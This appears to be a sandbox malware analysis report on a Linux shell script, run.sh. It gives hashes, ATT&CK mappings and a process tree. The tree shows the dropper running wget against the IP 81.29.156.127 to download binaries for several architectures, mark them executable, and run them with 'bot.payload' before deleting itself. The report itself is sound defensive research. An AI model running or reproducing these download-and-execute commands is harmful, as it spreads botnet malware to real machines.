3de040df634251cd6244247d87d80ebeebf3018e220e6ee9618d070ca3eb3371

Analysis

max time kernel
8s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
16/05/2026, 00:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
run.sh
Size 748B
Sample260516-agdahsct3p
SHA256 3de040df634251cd6244247d87d80ebeebf3018e220e6ee9618d070ca3eb3371
MD5 587d0ad299fbdd43ff8808080f41a73e
SHA1 ea7a1433c6930570d6c9ddd830ce2720775ebfb9
SHA512 6d8e536f80b1a7da80690fe3c127faa8d2db7e54d8ef638f773e6b43315f8a6ab699c18f92d80725058be21937bdda72f8e44fb12f4dfc573b2b4834a082dc57
TLSH
T15701999B61B0AC706875893CFD9746B01047181768451D19709F6E04FF2CA4CF6A1656
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1560	chmod
1568	chmod
1576	chmod
1584	chmod
1592	chmod
1600	chmod
1608	chmod
1551	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/yksiue	1552	run.sh
/tmp/4pxwut	1561	run.sh
/tmp/ajjhm4	1569	run.sh
/tmp/zxtx9i	1577	run.sh
/tmp/0hl3jh	1585	run.sh
/tmp/n7pktv	1593	run.sh
/tmp/1gitzg	1601	run.sh
/tmp/98kdn1	1609	run.sh

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1545	wget
1559	wget

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/4pxwut	wget
File opened for modification	/tmp/ajjhm4	wget
File opened for modification	/tmp/zxtx9i	wget
File opened for modification	/tmp/0hl3jh	wget
File opened for modification	/tmp/n7pktv	wget
File opened for modification	/tmp/1gitzg	wget
File opened for modification	/tmp/98kdn1	wget
File opened for modification	/tmp/yksiue	wget

/tmp/run.sh
/tmp/run.sh
1⤵
- Executes dropped EXE
PID:1540
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:1543
- /usr/bin/head
  head -c 6
  2⤵
  PID:1544
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:1542
- /usr/bin/wget
  wget -q http://81.29.156.127/mips -O yksiue
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1545
- /bin/chmod
  chmod +x yksiue
  2⤵
  - File and Directory Permissions Modification
  PID:1551
- /bin/rm
  rm -f yksiue
  2⤵
  PID:1553
- /usr/bin/head
  head -c 6
  2⤵
  PID:1558
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:1557
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:1556
- /usr/bin/wget
  wget -q http://81.29.156.127/mipsel -O 4pxwut
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1559
- /tmp/yksiue
  ./yksiue bot.payload
  2⤵
  PID:1552
- /bin/chmod
  chmod +x 4pxwut
  2⤵
  - File and Directory Permissions Modification
  PID:1560
- /bin/rm
  rm -f 4pxwut
  2⤵
  PID:1562
- /tmp/4pxwut
  ./4pxwut bot.payload
  2⤵
  PID:1561
- /usr/bin/head
  head -c 6
  2⤵
  PID:1566
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:1565
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:1564
- /usr/bin/wget
  wget -q http://81.29.156.127/x86 -O ajjhm4
  2⤵
  - Writes file to tmp directory
  PID:1567
- /bin/chmod
  chmod +x ajjhm4
  2⤵
  - File and Directory Permissions Modification
  PID:1568
- /bin/rm
  rm -f ajjhm4
  2⤵
  PID:1570
- /tmp/ajjhm4
  ./ajjhm4 bot.payload
  2⤵
  PID:1569
- /usr/bin/head
  head -c 6
  2⤵
  PID:1574
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:1573
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:1572
- /usr/bin/wget
  wget -q http://81.29.156.127/armv7l -O zxtx9i
  2⤵
  - Writes file to tmp directory
  PID:1575
- /bin/chmod
  chmod +x zxtx9i
  2⤵
  - File and Directory Permissions Modification
  PID:1576
- /bin/rm
  rm -f zxtx9i
  2⤵
  PID:1578
- /tmp/zxtx9i
  ./zxtx9i bot.payload
  2⤵
  PID:1577
- /usr/bin/head
  head -c 6
  2⤵
  PID:1582
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:1581
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:1580
- /usr/bin/wget
  wget -q http://81.29.156.127/armv6l -O 0hl3jh
  2⤵
  - Writes file to tmp directory
  PID:1583
- /bin/chmod
  chmod +x 0hl3jh
  2⤵
  - File and Directory Permissions Modification
  PID:1584
- /bin/rm
  rm -f 0hl3jh
  2⤵
  PID:1586
- /tmp/0hl3jh
  ./0hl3jh bot.payload
  2⤵
  PID:1585
- /usr/bin/head
  head -c 6
  2⤵
  PID:1590
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:1589
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:1588
- /usr/bin/wget
  wget -q http://81.29.156.127/armv5l -O n7pktv
  2⤵
  - Writes file to tmp directory
  PID:1591
- /bin/chmod
  chmod +x n7pktv
  2⤵
  - File and Directory Permissions Modification
  PID:1592
- /bin/rm
  rm -f n7pktv
  2⤵
  PID:1594
- /tmp/n7pktv
  ./n7pktv bot.payload
  2⤵
  PID:1593
- /usr/bin/head
  head -c 6
  2⤵
  PID:1598
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:1597
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:1596
- /usr/bin/wget
  wget -q http://81.29.156.127/i686 -O 1gitzg
  2⤵
  - Writes file to tmp directory
  PID:1599
- /bin/chmod
  chmod +x 1gitzg
  2⤵
  - File and Directory Permissions Modification
  PID:1600
- /bin/rm
  rm -f 1gitzg
  2⤵
  PID:1602
- /tmp/1gitzg
  ./1gitzg bot.payload
  2⤵
  PID:1601
- /usr/bin/head
  head -c 6
  2⤵
  PID:1606
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:1605
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:1604
- /usr/bin/wget
  wget -q http://81.29.156.127/ppc64 -O 98kdn1
  2⤵
  - Writes file to tmp directory
  PID:1607
- /bin/chmod
  chmod +x 98kdn1
  2⤵
  - File and Directory Permissions Modification
  PID:1608
- /bin/rm
  rm -f 98kdn1
  2⤵
  PID:1610
- /bin/sleep
  sleep 2
  2⤵
  PID:1612

/tmp/98kdn1
./98kdn1 bot.payload
1⤵
PID:1609

/bin/rm
rm -f /tmp/run.sh
1⤵
PID:1611

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0hl3jh

Path /tmp/0hl3jh
Size 7.1MB
SHA256 d3e61fad87acde88625d576623df292356bcfde7355c9fa97f782f52fdec5788
MD5 5daaed95ec4771214d27afc0463926c6
SHA1 149d8b9293b7b1eb1f8f34ab482927db4070bb72
SHA512 7fd2fa33f153212e475d1c7ead3219b3904e5c88f6f04936ce8715a45bd9d03af43cf78e8b0f973680090b0261280e05d3e04f37deabb480eb97db78392abf0f
SSDEEP 49152:zP6IZgzgqtv4iFKUwlsVGNvqf4Tmm5GrS+U25cO78gyqv5EkY:uIAgIPcUwlsVGNvq1cO78zqhE1
TLSH
T15C763B97B8924952C4E43A37BCBE81C432630EB99BC7565B6D04EE383EBE1D90E35744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4pxwut

Path /tmp/4pxwut
Size 7.8MB
SHA256 69c45cca395549bf1f9ff360edbe09cda646c0b511c513e6d91515085da9694b
MD5 f2408c794e63d2e1cf76a50e70e18d6b
SHA1 1b95966364c569ca195918c3a035e86062fa7734
SHA512 8d32cff2c6d8f5791276316b766db85cfec6490a4917cb90a4a42d22c20040a671202174a29cf944b36ce3b207c082ee4f93a822f20b97cf2a6023022090d1dc
SSDEEP 49152:Tmh61NZIdMpVriMF/0CQhx8wBAJxCaIE17Il8ZkFc05EI:+sLQhx8ImDOFxEI
TLSH
T1BB860905ADC53BE6C42C5E7444EACA6122B06D140AF2463A26A4FFE9BC772757F478CC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

98kdn1

Path /tmp/98kdn1
Size 7.0MB
SHA256 eeefa8281c00c2febd3d2ee552f2c36ae37fcc493e562147f9b5afa92774a8a2
MD5 9bcfc59510f4209dd6b93b25481b8889
SHA1 698aa3dc75826d55f000d3dd25d49baa6864af40
SHA512 05226deb6ba73a35ae0897cf435bc3193c4a3465d0605cfc61ec5a696f46317db2a9d74dc5fe53bb213725e09b2ca516ee9eda44576490d667e53724d89fd66f
SSDEEP 49152:wYZ/SdCnVxNaPnN9a0dqNHWkyIQlTyUp5YIUiXK8PwyESHMEwOMHHUt5ER:NZnrgN9r8HWn+wTxK8PsSsEwOMnUjER
TLSH
T15D767C91FB48A136DA460A3248A70B30B3915D82C1F4C96F970AF72F59B26F7594FED0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ajjhm4

Path /tmp/ajjhm4
Size 6.9MB
SHA256 87a053dc2a0f74dbc398bc1a81446cabbc33395e20125a78b3fb0192240f7fd1
MD5 4aaac18483b3aff93ba121b67c3b670a
SHA1 2e2922bc5d39b947dba71e7795e795c451b8784a
SHA512 114da6f34df16ee122c8db78a1ffed6858c7b20692272c2bed25b859154a0eb1c1b1e4ea7e833946a2f3b692de5528e87bfbb601f19cfca20fea0dd119cb7c33
SSDEEP 49152:pNBjP2hUIgFmCn7phTo9SDW1pBD4PvOCz2ADADtxKRg3cTD8LJSAU68EcmCLpc5G:3ghjcpBo9SnXOA7DixKmNHRpEH
TLSH
T164762711FE8B50F2E9031D3105ABB26F63325D054F29EBE3EA407F29F97B691193A149
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

n7pktv

Path /tmp/n7pktv
Size 7.1MB
SHA256 25620c7cd07faa860ae6777ca949a0e98108f36ff3ee3ae792959c9f4e124ead
MD5 48b11e0f53596ee42b5631cc78242450
SHA1 d004755daf6ee74fe7857fbcfa210c0b8ff3ecc0
SHA512 7854f7495b24a16f17e7f0e79eac24045fdc055d6947654795cd477a4d12f05a60dd98142243cd1da860b5cb28712419b0762de03332d68f248acf04562f1a39
SSDEEP 49152:P2FVJ8GabZTzq54aNVd9yjxj5Gea0+qrc5BeJSUP4GFsbmyWkdue5Eh:+KZTzqCazd9yjxj5Gm4GFsKV0Eh
TLSH
T19E762A97B8D14952C4E43A37B8BE81C432630EBA9BC7165B6D15EE383EBE0D90E35744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

yksiue

Path /tmp/yksiue
Size 7.8MB
SHA256 129f0c1c7baccd24623d99d7f5cde280d364404abe940ec4a3eeaa3a15f07318
MD5 d9c8c69b00c619f07518c112fd39f3a4
SHA1 6ac0d74872efdd2bde345e01f0d328539350aff8
SHA512 6a22aaf445742e7b9165a929195eecdafa30a473373ee6e40a350532336287e4f563107459d3147b40cd35273e114444ebd200fbcbe31eb3fd200e364977cd9d
SSDEEP 49152:wlVZvmsNoaASox/PGQa/jtDf5xaount+fqECXKEuXngHYJ/7FTsdiraia5pp0Zkw:WtzV0RiQ0kcP+rSi6NbnUjEr
TLSH
T118864A137A29EB0FC62821300DB2CA942B691C9642D7911BB745F309F9F21BD5DAECF5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zxtx9i

Path /tmp/zxtx9i
Size 6.9MB
SHA256 e5d2949cd5467e38f9e0f9b0422d64c438c4f8c0dd2cd233373ceec09c2bb071
MD5 dae99a2a423501e9e155a7315e66edbd
SHA1 8206f148904fcd75b7a7fdd0f2c9bb950990b577
SHA512 3aa9b09446bed21faa49e07035a07fff573d57938bde01450b4719eaf6f4e7cefbda9d56c342ca3f1da2aa2424c1840a4a77dc4ec9d4e24d83f08daaa44de0a0
SSDEEP 49152:7/ILDNxtVg49bZ5GE6smgs47MvSh7WNBJtTpiB+MuU5E2:7yDdVg49bZ5GE6s10HJtdiB+oE2
TLSH
T1DB761957B8924942C4E43A37B8BE81C432634EBA8BC7125B6D15FE383EBE5D90E35744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads